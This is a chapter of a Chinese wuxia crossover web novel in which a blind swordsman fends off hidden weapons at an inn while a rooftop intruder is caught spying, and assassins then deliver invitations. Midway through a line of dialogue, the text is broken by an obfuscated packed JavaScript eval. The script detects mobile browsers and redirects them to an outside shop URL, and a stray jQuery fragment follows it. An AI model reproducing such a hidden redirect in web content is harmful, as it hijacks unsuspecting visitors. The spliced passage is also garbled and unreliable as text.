文趣网 > 其他小说 > [综武侠+剑三]刀哥今天追到花七公子了吗 > 17.为什么偷看人家洗澡
    窗外忽地落了雨。

    谢今朝在擦刀。

    布擦过刀锋的声音,又沉又稳,和雨声缠在一起。

    这间客栈住了很多江湖人,房间供不应求,金钱在这里如粪土,有钱如花满楼也只能租得一间房。

    “——朝兄。”

    花满楼的声音忽然穿过屏风后传来。

    谢今朝几不可察地停下动作:“我在。”

    “你记得上药。”那声音温温和和的,却带着不容错辨的关切,“手上伤口尚经不起折腾,注意伤口,不要裂开了。”

    “……嗯。”

    屋外,雨越下越大。

    但雨水是最好的掩护。

    叶开踏着屋瓦掠来时,轻得像一片叶子。

    他在房顶伏下,悄悄揭开一片瓦。

    第一眼,他没看见谢今朝,却看见了水。

    氤氲的热气里,一段白玉似的肩颈露在水面上。

    烛光暖融融地照着,水珠沿着那光滑的曲线往下滚,滚进更深的水里。

    叶开心想:花兄是个男人,看男人洗澡,应该算不上什么罪过。

    叶开又睁开眼。

    可一个男的,肌肤比姑娘还白,真是造孽啊!

    他认真搜索屋内的每个角落,整座客栈只剩下这个房间他没有检查过,可是哪里都找不到傅红雪。

    难不成——他看向那个正在擦刀的冷峻身影……若是用上易容术,缩骨功,倒没有什么是不可能?

    房内,谢今朝依旧抱着刀,望着窗外的雨。

    花满楼已从浴桶中起身,水珠顺着流畅的腰线滑落。他摸索着拿起搭在屏风上的素白中衣,缓缓披上,正系衣带。

    每一个动作都从容,都妥帖,哪怕这世上无人看见。

    忽然,这安宁被一根极细的弦轻轻拨动——他听屋顶,本该均匀的雨声中,有一片雨坠落后没有响起落地声。

    紧接着,是极轻的,靴底踩在瓦片上的声音,因动作过急而泄露的“咯吱”声下!

    花满楼手指微微一顿,几乎同时,几滴水滴裹挟着内力化成冰寒的冷意,撕裂了温暖潮湿的空气,直刺屋子外。

    屋子外的几道脚步生生被逼停,急忙朝屋内撒了一把生冷的暗器。

    花满楼偏过身。

    动作幅度很小,但头颅偏开的弧度恰到好处,活像早已预判了那致命一击的轨迹。

    躲不过的,他指尖如灵蛇出洞,带着晶莹的水珠闪电般抬起,双指并拢,指尖立刻泛着冰冷的暗器。

    ——那是灵犀一指。

    雨夜刀光。

    叶开还未反应,一道凛冽刀气已破瓦而上!

    屋顶的叶开始料未及,一道刀气就此从下而上:“滚下来!!”

    “——谢兄,有话好说,别急着动手啊。”

    叶开顺势飘落,足尖刚触地,他颈侧就一凉:“那个,暗器真不是我发的,我还什么都没做呢。”

    刀刃压紧脖子动脉,谢今朝声音冷漠地重复他最后几个字:“什么都没做?”

    叶开乖乖举起双手道,咂摸出一句:“夜色不错啊。”

    屋内屏风轰然倒地。

    谢今朝反手扯下自己外衣——黑衣在烛光里展开如夜翼,稳稳裹住花满楼被水打湿的单薄里衣。

    动作快得只剩残影。

    “……”

    “……”,叶开摸着鼻子,实在不知作何感想。

    花公子又不是姑娘,衣服湿了又怎么样。

    蓦然,空气中夹有寒音。

    花满楼骤道:“小心——”

    话音未落!

    钢针、柳叶刀、透骨钉——数十道暗器如骤雨袭来,目标皆是花满楼!

    花满楼将身上黑衣一卷,如黑龙摆尾,叮当声里尽数扫落。

    唯有一枚透骨针,刁钻至极,直刺心口。

    千钧一发之际,他带着水珠的两指,在烛光里泛着玉色光泽,就那么轻轻一合——针尖凝在距心口半寸处,再也进不得分毫。

    叶开瞳孔骤缩。

    这一次他看得真切,那手指稳如磐石,力道精准得骇人——绝不是一个寻常瞎子该有的身手。

    “花兄,”他忍不住脱口,“你当真是个瞎子?”

    颈侧的刀锋骤然压紧。

    “等等,谢兄,我又没有骂他。”叶开语气难得认真起来了,“正因花公子目不能视,却能有如此修为,才更令人敬佩。我说‘瞎子’二字,是敬他独一无二,你不要这么敏感好不好?”

    谢今朝沉默了片刻,不知道在想什么。随后他点了叶开三处穴道,走到另外一边为花满楼捡起落地的衣服,发现没有湿。

    在他有限的认知里,花满楼是个君子,君子一般都会很注重在外人面前的形象。

    叶开僵在原地,眼睁睁看着谢今朝走到屏风边,拾起花满楼散落的衣物,一件件递过去,动作罕见地仔细。

    花满楼穿戴好衣服,“望”向屋外来人的方向,一字字道:“大雨滂沱,屋外的阁下何苦冒雨而来?”

    江南公子的声音温润如初,如同潺潺清泉,与这场杀机未散的交锋格格不入。

    叶开朝谢今朝挑眉道:“这下你相信了吧,朝花满楼扔暗器的另有其人,不是我。”

    谢今朝淡漠道:“我知道。”

    叶开:“那你为何还不放开我?”

    谢今朝偶尔蹦出来的话真让人受不了:“那你为何偷看别人洗澡。”

    “——死鬼!死鬼!”

    “——不要脸!”

    “不是,哪里来的鹦鹉口气这么冲!”叶开差点百口莫辩,“我……”,他已经百口莫辩了,总不能告诉谢今朝……‘我只是好奇你面具下的脸’吧。

    叶开顿了顿,强行转移了话题:“我这不是好奇嘛,花兄可有师承?他这么厉害的武功师父肯定赫赫有名,不是什么泛泛之辈吧?”

    谢今朝被问得眉头一皱。

    叶开赶紧借题发挥:“你不会不知道吧?那你看起来和花兄不太熟啊。”

    谢今朝扫他一眼。

    那眼神让叶开颈后寒毛直立。

    屋内水汽氤氲,杀意却已悄然瓦解大半。

    窗外传来压低的骚动:

    “大哥,不对啊,这瞎子不对劲……”

    “你不是说他只是个瞎子吗?”

    “我——”

    “你看他像个瞎子?”

    贴未到,竟有人要杀他?花满楼轻轻抚去浮锦袖上的水痕,用内力将声音传出屋外:“阁下的暗器很准,但希望以后射向别人时,能给别人留三分余地。花某虽目不能视,却也不敢怠慢各位。阁下若想取花某性命,不妨明日正午再来,那时雨停风静,总比这深夜刺杀,来得光明些。”

    屋顶之上,杀意盘旋。

    雨声残响,萧瑟。

    战意一触即发,权当看谁先动手。

    叶开依旧那么悠哉道:“朝兄,你真应该好好学学花兄的气度,你看看人家的待

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17506702|202175||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    客之道,你看看你的…啧!”

    谢今朝没有搭理他。

    屋顶众多人之中,有一人似是妥协了,横竖他们只负责试探和送贴:

    “惊扰诸位了,我们受主人之托,来给三位送张请帖,当然没有要取诸位性命的道理。”

    此话一出,花满楼,叶开,谢今朝同时顺着声音皱起眉头。

    “刚好,这张请帖也请叶公子一道收下吧。”

    “七日后,活人楼恭迎三位的大驾光临。”

    三张请帖,顺着内力插入屋内墙壁。

    ——竟然连谢今朝都有。

    “诸位,告辞了!”

    几瞬之间,屋外的声音就完全消失了。

    叶开琢磨道:“花兄,谢兄,你们两位是不是得罪活人楼了,我从来没有听说过买卖没做,先把客人宰了的道理!”

    花满楼只道:“现在贴送来了,恐怕更烫手的事情还在后面。”活人楼的消息当真灵通,他们昨日才到,帖子今日就到了。

    谢今朝指尖微微用力,拔出来那请帖。他展开,念了一遍全文给花满楼听:“和他说的一样,没有被邀请人的姓名。”

    谢今朝口中这个“他”开口说话了:“谢兄,好歹你先把我的穴道解开,我们是友非敌啊。”

    花满楼的眉头从刚才开始就没有松开,他朝着叶开的方向走来,将其中一份请帖交到桌前,非常有礼貌道:“叶兄,这份是你的请帖,请收好。”

    “好说好说,那你先让你的朋友解了我的穴道。”

    花满楼轻轻一笑,更加礼貌道:“这恐怕不行。”

    叶开脸色立刻不好了:“为什么?”

    花满楼:“因为我和朝兄有话问你,只能请叶兄先担待了。”

    谢今朝闻言,眉梢眼角尽是疏离,他将其中一张请帖塞进叶开怀里,然后把他按在桌前。

    叶开又重新找到那种不知如何言说的感觉,他仰面朝天叹,“你到底是花满楼的朋友,还是他请来的打手啊?”

    “自然是朋友了。”,花满楼在叶开面前端庄坐下,顺便给他倒了杯茶,“就是不知道叶兄深夜前,有何指教,总不能是来找花某赏月的?”

    茶杯停在桌沿三寸处,水满七分,一滴未溢。

    叶开盯着那杯沿:“你怎么知道该倒到哪里?”

    花满楼执起空杯,又倒了一次。

    水流声细而稳,在寂静的夜里格外清晰。

    “每个杯子都有高度,厚度,每个茶壶壶口的大小和流速都不一样。”

    “厉害啊!”

    谢今朝站在阴影里,目光落在花满楼执壶的手上,那手指按着壶盖,力道稳得像压住了万丈洪流。

    叶开至少有一句话是对的,花满楼真的很厉害。

    叶开惊叹完,又问:“那我在屋顶,花兄也知道?外面下雨声这么大,你这听力得多好?”

    花满楼道:“初时不能确定是叶兄,只知道屋顶有人,因为叶兄所在的那一片瓦上没有雨落下的落地声,其次,大概是叶兄很少做梁上君子,所以这次的心跳声比平常要快很多……”

    “我可不是专门来找你麻烦的。”

    “叶兄的心跳得虽然比平常快,却也平和,因此的确不像是来找花某麻烦的。”

    “你说的对极了。”,叶开简直叹为观止,“要不是因为我穴道被点,我简直想为你鼓掌。”

    花满楼道:“所以,叶兄在屋顶做什么?”

    叶开:“……”